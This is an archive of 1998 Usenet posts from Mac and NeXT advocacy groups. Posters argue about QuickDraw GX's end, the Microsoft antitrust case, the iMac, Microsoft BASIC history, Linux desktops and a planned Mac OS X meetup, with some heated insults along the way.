don't want to delve into the use of C/C++ compilers will be able to "roll
their own" mini-apps by scripting the APIs.
The problem with the Carbon interface and scripting is that it doesn't
offer all that much to the end-user. Most of the Carbon API looks to be
based on plain ole QuickDraw, which requires a C-level language to handle
data structures. GX and QD3D, on the other hand, provide their own database
as part of the API, which makes them ideal for use with a scripting
language.
Lars Farm <lars.farm@ite.mh.se> said:
>Lawson English <english@primenet.com> wrote:
>
>> if Apple weren't killing GX with the next release of the OS, would
>> developers be willing to use it? Why or why not?
>
>I would probably take a longer look at GX now if I knew it would stay
>with us than I did then.
>
>I can tell you why I was hesitant towards GX. It was the volume of the
>documentation. Too many words. Either the writers were completely
>incompetent and lacked the ability to describe the concepts in GX in a
>concise and clear way and compensated that with increased volume of
>words *or* GX is/was too much - lack of focus, inability to set limits
>which is bad design. From what I heard (I never found the strength to
>read it all) GX was capable, so perhaps the tech writers were
>incompetent.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 18:16:34 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981124181634164473@ts1-13.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com> <cirby-2311981230320001@pm53-43.magicnet.net> <73cqgm$a85$1@bunyip.cc.uq.edu.au> <199811240102252737447@ts5-42.aug.com> <73e644$n2p$1@bunyip.cc.uq.edu.au> <19981124101942109156@ts1-28.aug.com> <73elnv$pe2$1@bunyip.cc.uq.edu.au>
Christopher Smith <drsmithy@usa.net> wrote:
> >You can believe anything you want, and exist in any reality you want.
> >For me, for my use.. my Mac runs circles around the Pentium-whatever
> >machines I have to use at work.
>
> That's nice. When I use a Mac that can run as much simultaneously as my
> P100 used to a c ouple of years ago, I might be convinced. Maybe it'll be
> possible with OS X - we'll have to wait and see.
I routine have many more apps running on my Mac at home than I do at
work. No crashes at home (unless I run into Java on the net,of
course)... but there aer plenty of crashes and waits at work.
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From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 18:16:52 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981124181652165544@ts1-13.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com> <73ctj7$ik0$1@nnrp1.dejanews.com> <rbarris-ya023280002311981637350001@206.82.216.1> <365B10DD.43341843@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Well, no one has demonstrated that Microsoft selling Windows was
> illegal, either. Microsoft is being accused of "using its monopoly power
> in one market to stifle competition." *That's* the supposed illegality.
> I think it fits Apple's handling of the Mac clone companies like a
> glove.
If it was such an illegal act, why has someone, anyone, charged Apple
with something, or sued them over it?
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From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 18:16:37 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981124181637164651@ts1-13.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com> <19981123135142316463@ts1-43.aug.com> <365B1398.151CCDCC@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > >
> > > What shocks me is why anyone would want to do business with a company
> > > intent on milking old technology when there are much better alternatives
> > > available.
> >
> > Maybe you should ask Microsoft that question.
> >
>
>
> Who's old hardware is Microsoft milking?
Um, software is technology... and Microsoft's is hardly original or
leading edge.
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From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 18:17:01 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981124181701166075@ts1-13.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <F2IuKA.1AK@T-FCN.Net> <365193CC.4AEE4713@spamtoNull.com> <cirby-1711981219330001@pm51-46.magicnet.net> <72sc3k$1c0m$1@nntp6.u.washington.edu> <3659BCA3.294708F3@spamtoNull.com> <cirby-2311981757030001@pm56-03.magicnet.net> <365B0916.DA268FD3@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > Of course, after dealing with some of Microsoft's retroactive history, I
> > can see why the typical Windows user might get confused and think Ameila
> > Earhart or Albert Einstein might have been computer users...
> >
>
>
>
> Actually, it seems as if it's the Apple crowd who get confused on the
> subject, not me. They're the ones who think an estate's release of old
> pictures to be used in an ad campaign that doesn't mention the words
> "computer" or "Apple" or "Mac" is the exact same thing as a direct
> endorsement of the Mac by these very same estates. Not me...:)
Well, thats why you dont understand sophisticated advertising.. and why
you use herd mentality to purchase computers.
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From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 18:16:45 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981124181645165101@ts1-13.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <36598CEC.A037534F@spamtoNull.com> <19981123135144316586@ts1-43.aug.com> <365B13DD.FCA20560@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >
> >
> > The damage has already been done, the monpoly gained, the dependance
> > established.
> >
>
> Is this a quote from a Mac user after Jobs destroyed Mac cloning?
Are you that stupid?
--
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From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 18:16:49 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981124181649165387@ts1-13.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com> <cirby-2311981742100001@pm56-03.magicnet.net> <365AFE15.F10C3CB5@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> OK, what percentage of the hardware Mac environment world-wide does
> Apple own? Last time I looked it was 100%. Hmmm....what percentage of
> the world-wide Apple market uses Windows running on their Macs? What's
> that? < 5%, you say? By your own figures, 90% of all Apple users world
> wide *should be* running Windows because the Mac OS and Windows OS share
> exactly the same market. I don't understand. What's wrong?
Whats wrong is your professed understanding of the personal computer
market. There are 2 main players.. Microsoft with 90-95% of the market
and the Mac... with.. well not much. So, when Microsoft does something
it effects at least 90-95% of the market, and another portion
indirectly.
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From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 18:16:59 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981124181659165947@ts1-13.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu> <3659DC3A.BD2CB13@spamtoNull.com> <cirby-2311981744480001@pm56-03.magicnet.net> <365B03FD.CFCCDCEE@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Chad Irby wrote:
> >
> > Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >
> > > What is Apple doing to persuade X86 users to defect?
> >
> > Selling iMacs. Quite nicely, to boot. Major sales gains.
>
> I'm sorry, but I haven't seen any evidence of that. How on earth do you
> figure that I, for instance, who am very much concerned with hardware
> choice, availability, and UPgradability, as well as *timely* software
> availability and choice, would *ever* be interested in an iMac? That
> does not compute...:)
>
>
Who cares what you want. You cant evaluate a computer purchase.. as
demonstrated by your posts. It is quite obvious that SOMONE likes the
iMac, since it's the best sellng single computer model around.
>
>
> But I'm afraid you missed the point. I was talking about promotional
> programs done by Apple for the express purpose of wooing X86 users away,
> or promotionals done by Dell for the express purpose of moving Mac users
> away. I can't think of any off hand.
... Think Differnet, Burning Bunnies, How Many Steps to the Internet...
1, 2, um, 2.
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: In my own paranoid (?) defense... (Was Re: A problem with
QuickTime Vectors
Date: 24 Nov 98 16:19:32 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2808D1E-2CE80@206.165.43.9>
References: <365B04ED.2527DF42@tone.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
To: "Michael" <michael@tone.ca>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
>Now whats this about 8.6? Will the GXGraphics extension np longer work,
>or just the full QDGX install? Anybody know?
Apple's comments about GX suggest that it will no longer be supported as of
8.6. It may or may not work if you have a spare copy of the extension lying
around.
>
>When I ask the developers of Creator2 about their path to MacOSX, they
>say they can't comment because of a non-disclosure agreement. So
>something is obviously known that they can't talk about. This doesn't
>sound like a case of Apple abandoning GX developers to me.
>
>The other big dead-end product I use is Hypercard, so let me know when
>your GXCMD is ready. You probably have one customer.
The ironic thing is that GXFCN should be able to produce graphics that
Creator2 [GX] can use, AND Creator2 may well be able to export GX files
that GXFCN can use.
Such files would retain all GX-ness, if Creator2 uses specific GX
capabilities. I doubt that the new PDF format will be able to handle what
GX can.
ANd I'll let you know when GXFCN 0.01a ships.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Macdev@earthlink.net (Macdev)
Newsgroups: comp.sys.mac.advocacy,comp.sys.newton.misc,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A question for MIlo
Date: Tue, 24 Nov 1998 15:07:58 -0800
References: <3655cfd9.23479416@news.chicagonet.net> <macdev-2011982211260001@sdn-ar-001casbarp022.dialsprint.net> <365ace9a.5362123@news.chicagonet.net>
Organization: EarthLink Network, Inc.
Message-ID: <Macdev-2411981507590001@sdn-ar-002casbarp317.dialsprint.net>
In article <365ace9a.5362123@news.chicagonet.net>,
milo_mklinux@my-dejanews.com (Milo MkLinux) wrote:
> No, I am not Edwin.
>
> The questions I refer to were posted by me, under my name, directly to
> M. Rassbach. One was a new thread titled "Questions for
> M.Rassbach," that I posted when I couldn't get Deja News to post a
> reply. It said something about a line being too long. Didn't seem
> to matter if I shortened it. :/ The message that I responded to was
> a reply to Edwin from M.Rassbach, but Edwin's message not only didn't
> contain questions for M. Rassbach, it wasn't even about the topic of
> M.Rassbach's reply to him, if I remember correctly. I want to know
> why Apple should have to pay for BSD code.
>
> The other questions were in some thread or other that I don't remember
> the name of, but that post was under my own name too.
>
> If I've asked the same questions of a person has another has, that's
> hardly an impossible situation, and it certainly doesn't call my
> identity in to question. Search Deja News all you like. If Edwin
> asked the same things as I did, it does not prove that I am Edwin.
>
> I can't imagine what I did to offend Mike Zuluaf. He seems
> determined to dog my every step, and do everything in his power to
> slander and discredit me. I don't know or care what his problem
> is. I'll just ignore him.
Its easy why he is dogging your every step. You see, their is this
incredibly lame, idiotic poster from chicagonet.net named Edwin Thorne.
And he constantly made up accounts at dejanews.com.
PS: what is your userid at chicagonet.net? Or are you not able to say
because its edwin.thorne?
I bet you wont say what your chicagonet.net userid is because then you
would have to admit YOU ARE edwin thorne
PS: for those who do not know who Edwin Thorne is, he is a lamer who was
caught posting from his chiagonet and one of his pseudonyms from the same
ip within 2 minutes of each other. He claimed that it was just a
coincidence :P
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.next.programmer,comp.sys.next.admin
Subject: Re: MWSF McOX BOF?
Date: Wed, 25 Nov 1998 00:01:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73fhcv$gfs$1@nnrp1.dejanews.com>
References: <72ijv1$5uq$1@nnrp1.dejanews.com>
In article <72ijv1$5uq$1@nnrp1.dejanews.com>, I wrote:
> Heavens, I just had a quick look around [comp.sys.next.advocacy],
> and I'm afraid I hardly recognise the neighbourhood.
>
I just looked back in and saw Lawson's thread about GX -- I feel right at
home again...
> maybe it'd be worth organising a McOX BOF(*) meeting one evening?>
>
OK, the plan so far (as discussed on macosx-{talk,dev}):
The most likely date/time is the evening of Wednesday January 6.
One of the main aims is to make this accessible to anyone, not just those
who've paid $1000 registration for the Pro Conference!, so (as per last year,
for those of you who were there) this would likely be shortly after the close
of the show for the day (so any exhibitors can get along).
It looks likely that at least one Apple person will give a presentation, and
Mike Ferris has already very kindly agreed to take part in a Q&A session.
I'm currently liasing with the Expo folks to get a room. If you'd be
*seriously* interested in attending please email me so I can get an idea of
numbers; suggestions for discussion topics etc also welcome. I apologise in
advance if I don't reply to you; I've already had a large number of replies
and it may become overwhelming.
When plans start to crystallise I'll put up a page on Stepwise --
http://www.stepwise.com -- to keep folks informed.
Best wishes,
mmalc <malcolm@plsys.co.uk>
P & L Systems -- developers of Mesa
http://www.plsys.co.uk/plsys/
Tel: +44 1494 432422
Fax: +44 1494 432478
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 17:27:47 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2411981227070001@pm61-44.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <36598CEC.A037534F@spamtoNull.com> <cirby-2311981234010001@pm53-43.magicnet.net> <365AE0D0.1C3F0058@earthlink.net>
"J. Walt Covington" <johnandsusanne@earthlink.net> wrote:
> "You want us to come off the price even more? OK, but since you're
> getting more from us we want more from you." Unreasonable? I can't see
> how. It's a practice commonly undertaken by every other business I've
> ever seen.
So you know of other huge monopolies that require their customers to pay
for their products, even when those products aren't used for a particular
thing?
"Yeah, we'll sell you this stuff for $1.49 a pound, but you have to pay us
for it even if you don't use it in a product.."
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 00:29:20 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73fj08$i18$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <F2IuKA.1AK@T-FCN.Net> <365193CC.4AEE4713@spamtoNull.com> <F2Kqu2.8Du@T-FCN.Net> <36599B34.A05CFC80@spamtoNull.com> <73cque$g8g$1@nnrp1.dejanews.com> <365B101D.B0709B43@spamtoNull.com>
In article <365B101D.B0709B43@spamtoNull.com>,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>> Futhermore, while the identity of the initial sender _might_ be questionable
>> (*), there would be no question when these receipients start responding and a
>> conversation takes place, all of which contains cross-referencable log
>> entries, mail headers, citations, and the like.
>
> That's an interesting point, here...I don't recall the DOJ having
> presented *any* series of emails in context. Do you?
No. They don't need to. Because neither side is questioning the provenance
of the email being presented.
>> Email is admissable evidence. I'd be very surprised if anyone tried to
>> contest the validity of the email. Deal with it, or persist in fantasizing
>> otherwise-- it won't make a bit of difference to the outcome....
[ ... ]
> Please, answer the question: if someone sent an email from your machine,
> how would you prove you didn't send it?
The 'last' command. Or are you asking about someone going up to a machine I
was logged into and creating a mail message, which in which I should point
out that I use a screen locker ('cause I'm logged in as root to several
machines as a normal part of doing my job, usually).
But if someone forged a message, and the receipients responded to it, and then
I responded back, lather-rinse-repeat, over the course of several days and
multiple messages (entirely normal for some email conversations, especially
those involving business clients), it's very hard to believe that all of this
email was forged....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 20:04:57 -0500
Organization: phenix@interpath.com
Message-ID: <1dj0kxl.28cmu76udxvmN@roxboro0-013.dyn.interpath.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <F2IuKA.1AK@T-FCN.Net> <365193CC.4AEE4713@spamtoNull.com> <F2Kqu2.8Du@T-FCN.Net> <36599B34.A05CFC80@spamtoNull.com> <73cque$g8g$1@nnrp1.dejanews.com> <365B101D.B0709B43@spamtoNull.com> <73fj08$i18$1@nnrp1.dejanews.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b3
Charles Swiger <chuck@codefab.com> wrote:
> But if someone forged a message, and the receipients responded to it, and then
> I responded back, lather-rinse-repeat, over the course of several days and
> multiple messages (entirely normal for some email conversations, especially
> those involving business clients), it's very hard to believe that all of this
> email was forged....
Which is all besides the point if both you and the other person
stipulate that the messages are genuine when their introduced into court
(so unless he wants to setp forward and contest the email on the basis
that /he/ forged it then both the government and MS are going to precede
on the basis that the mail is genuine).
--
John Moreno
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 25 Nov 1998 01:09:52 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <73fld0$7qa@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@ <365B0CAD.67D67710@spamtonull.com>
Originator: gupta@tlctest
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
>"Buzzword" defined:
>
>
>"Foundational OS characteristics the Mac OS doesn't have. Mac
>worshippers don't care that the upcoming Mac OS is slated to have all of
>these "buzzwords", and that's probably because at a deep subconscious
>level they really don't trust *anything* Apple says about its upcoming
>OSs. So, they run the sour-grapes riot act and speak boldly of
>Buzzwords. Until, that is, the day when the Mac OS actually incorporates
>the Buzzwords. From that day forward, the Buzzwords become Wonderful
>MacOS Features that are highly praised as though they are not Buzzwords,
>but Brand-New Apple Originals."
What BS !
For example, read the review of Mac OS X Server at
http://www.appleinsider.com/articles/9811/mac-os-x-server.shtml
and note the relative weights given to useability and buzzword compliance.
Buzzword compliance is not worth much if useability doesn't accompany it.
(e.g. Windows).
-arun gupta
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 25 Nov 1998 01:45:31 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <73fnfr$ll3$5@blue.hex.net>
References: <7329lg$ot0$1@nnrp02.primenet.com><ee352.3248$%X5.8067515@newsgate.direct.ca><732i4r$r9n$1@nnrp03.primenet.com> <slrn759k3h.n3m.float@interport.net><01be1452$1e5eb6b0$a007280a@ntw_bmladmin><01be150e$a7080a40$a1f1ccc3@default> <73783s$3b9$1@jimsun.uucp> <01be169e$d7eb04a0$72f1ccc3@default> <Pine.SOL.3.96.981124191714.20775D-100000@cssun.rrze.uni-erlangen.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
NNTP-Posting-Date: 25 Nov 1998 01:45:31 GMT
On Tue, 24 Nov 1998 19:46:33 +0100, Matthias Bethke
<unrzi8@cssun.rrze.uni-erlangen.de> wrote:
>On 22 Nov 1998, Bjørnar Bolsøy wrote:
>
>> > > Actually, MS has managed to develop a few decent
>> > > products from time to time. WinCE is a good example
>> > > IMO, with a full win32 complient API with a host of
>> > > elegant features basically fitting inside a 200Kb footprint.
>
>M-BASIC is said to have been quite good for its time, too. Fit into an 8K
>EPROM, although that was kinda big at the time as well. And strictly
>speaking it's Gates but not M$.
Hum?
Microsoft Level I BASIC fit into 4K of ROM.
Microsoft Level II BASIC fit into 8K of ROM.
Microsoft Level II Plus BASIC fit into 12K of ROM. (This is what
TRS-80 Model I Level II's used.)
Microsoft Level III BASIC tended to go into 16K of either RAM or ROM.
These were all generally burned into ROMs, as EPROM was not readily
available in large enough sizes for decent prices at the time.
And these were all products of Microsoft. (With the early versions of
Level I BASIC being, perhaps, products of Micro Soft.)
--
[In response to deprecations of the use of <linux/*.h>] ...I prefer code
that only compiles on Linux... I really don't care to help other
operating systems grow. -- Albert D. Cahalan <acahalan@saturn.cs.uml.edu>
cbbrowne@hex.net- <http://www.hex.net/~cbbrowne/lsf.html>
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,gnu.gnustep.discuss
Subject: Re: Why it is inevitable that Apple will become a Linux company
Date: 25 Nov 1998 01:45:18 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <73fnfe$ll3$3@blue.hex.net>
References: <72qhlo$gs2$1@nnrp1.dejanews.com> <johnc-1611982004130001@pppsl1041.chicagonet.net> <72qr43$3kj$1@fir.prod.itd.earthlink.net> <bholderness-1811981530000001@207-172-95-180.s53.as1.dwt.erols.com> <14C44EC81D75CB41.20941B0A27B3D88F.E3FF30CB25C20D39@library-proxy.airnews.net> <36543fbc.5998414@news.chicagonet.net> <adtF2pD5w.BJw@netcom.com> <734qin$f2o$1@plo.sierra.com> <1div3io.8fsl0210f7n28N@port1-175.nordnet.fr> <slrn75g6hr.2r0.cbbrowne@godel.brownes.org>
<0CB397306BFD59DB.3D7DC8530176920E.19206DAC93E1E0F6@library-proxy.airnews.net> <slrn75kru4.3um.jedi@dementia.mishnet>
NNTP-Posting-Date: 25 Nov 1998 01:45:18 GMT
On Tue, 24 Nov 1998 00:35:16 -0800, jedi@dementia.mishnet
<jedi@dementia.mishnet> wrote:
>On Tue, 24 Nov 1998 03:35:14 GMT, Sheldon Gartner <a1050pi@yahoo.com> wrote:
>>From the newbie's standpoint (like me) the question is: What's the
>>difference to the end user among KDE, GNOME and GNUStep? Is it system
>>requirements, what? Are they all compatible? How close is GNUStep to
>>being available for newbie desktops?
>
> Interoperability standards are what are important. XDND
> is not immutably tied to QT. It can just as easily be
> used in an Athena application if you're that kind of pervert.
>
> Of the 3 OffiX DnD I know to have on my system currently,
> each was made with a different widgetset. This doesn't get
> in the way in the slightest.
Which is well and good, and doesn't answer the question that was asked.
At this point in time, KDE is probably the most "new user-friendly" of
the three, as it has been available for longer, and is thus somewhat
better polished. It uses MICO as its CORBA ORB, and MICO is noted for
being somewhat "consumptive of memory," which is rather unfortunate.
GNOME is less polished at this point. The "1.0" release is expected to
take place in mid-December, at which point it would make a lot of sense
to do a more formal comparison between it and KDE.
GNUStep at this point does not offer much at all in the way of
applications; the base libraries are nearing completion, so that it
should become possible to start porting NeXT applications to it Real
Soon Now. It has the most carefully designed GUI of the three systems,
as NeXT and Sun have, over the years, deployed a fair bit of research
into UI design, which is certainly an attractive feature.
--
When confronted by a difficult problem, solve it by reducing it to the
question, "How would the Lone Ranger handle this?"
cbbrowne@ntlug.org- <http://www.hex.net/~cbbrowne/lsf.html>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2yJK2.9rs@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72qfhs$f6p$1@nnrp1.dejanews.com> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu> <adtF2n1wL.Do6@netcom.com> <72vii4$1fas$1@nntp6.u.washington.edu> <adtF2nLHo.685@netcom.com> <731el0$1c4a$1@nntp6.u.washington.edu> <adtF2pBvA.9xI@netcom.com> <73a7ju$30h$1@news01.btx.dtag.de>
Date: Wed, 25 Nov 1998 03:12:02 GMT
Sender: adt@netcom8.netcom.com
=?ISO-8859-1?Q?Lars_Tr=E4ger?= (Fam.Traeger@t-online.de) wrote:
: Anthony D. Tribelli <adt@netcom.com> wrote:
: > No, they are merely parallel and similar. From my dictionary:
: > market: The business of buying and selling a specified commodity.
: > As you indicate above, VHS and beta tapes are incompatible, they are
: > different commodities, as is MacOS and PC software.
:
: Here's your mistake: You think every product is in exactly one market.
: This is not so.
Actually I do not think every product is in "exactly one" market.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2yJzs.A5v@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
